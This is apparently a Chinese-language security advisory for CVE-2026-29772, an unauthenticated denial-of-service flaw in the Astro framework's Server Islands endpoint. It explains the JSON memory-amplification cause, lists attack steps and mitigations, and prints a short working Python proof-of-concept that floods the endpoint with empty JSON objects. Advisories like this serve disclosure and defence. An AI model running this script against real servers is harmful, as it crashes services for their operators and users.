IPBUF安全漏洞报告
English
CVE-2026-29772 CVSS 5.9 中危

CVE-2026-29772 Astro拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-29772
漏洞类型
拒绝服务
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Astro Web Framework

相关标签

拒绝服务AstroNode.jsDoS资源耗尽

漏洞概述

Astro Web框架在10.0.0之前的版本中存在拒绝服务漏洞。Server Islands POST处理程序未限制请求体大小,攻击者可发送包含大量微小JSON对象的恶意请求,利用内存放大效应耗尽进程堆内存,导致服务器崩溃。该漏洞无需认证即可触发。

技术细节

该漏洞位于Astro框架的Server Islands功能模块中。在10.0.0版本之前,所有Astro SSR应用默认注册的`/_server-islands/[name]`路由在处理POST请求时,会缓冲并解析完整的请求体为JSON,且未实施任何大小限制。由于V8引擎的`JSON.parse()`实现机制,解析包含大量微小JSON对象的输入时会产生显著的内存开销(约15倍放大),即线缆上的少量数据可在堆上占用大量内存。由于解析操作发生在验证island name之前,未经身份认证的攻击者可利用此缺陷发送特制的大体积Payload,迅速耗尽服务器进程的堆内存,导致服务崩溃。

攻击链分析

STEP 1
漏洞探测
识别目标是否为Astro SSR应用,并探测/_server-islands/路由是否存在。
STEP 2
构造载荷
生成包含大量微小JSON对象(如空对象{})的数组数据,利用V8引擎内存分配特性实现内存放大。
STEP 3
发送请求
向/_server-islands/[name]端点发送未经认证的POST请求,携带构造的超大JSON数据。
STEP 4
耗尽资源
服务器解析JSON时耗尽堆内存,导致Node.js进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json def exploit(url): # Create a massive list of empty objects to trigger memory amplification # Adjust the count (e.g., 100000) based on the server's memory limit payload = [{}] * 100000 data = json.dumps(payload) # The vulnerable endpoint is usually /_server-islands/[name] target = f"{url.rstrip('/')}/_server-islands/test" headers = { "Content-Type": "application/json" } try: print(f"Sending payload of size: {len(data)} bytes to {target}") response = requests.post(target, data=data, headers=headers, timeout=10) print(f"Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Attack successful (Server likely crashed): {e}") if __name__ == "__main__": target_url = "http://localhost:3000" exploit(target_url)

影响范围

Astro < 10.0.0

防御指南

临时缓解措施
建议立即升级Astro框架至修复版本。若暂时无法升级,应在网络边界设备(如负载均衡器或WAF)上配置规则,限制对/_server-islands/路径的HTTP POST请求体大小,或直接拦截对该路径的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表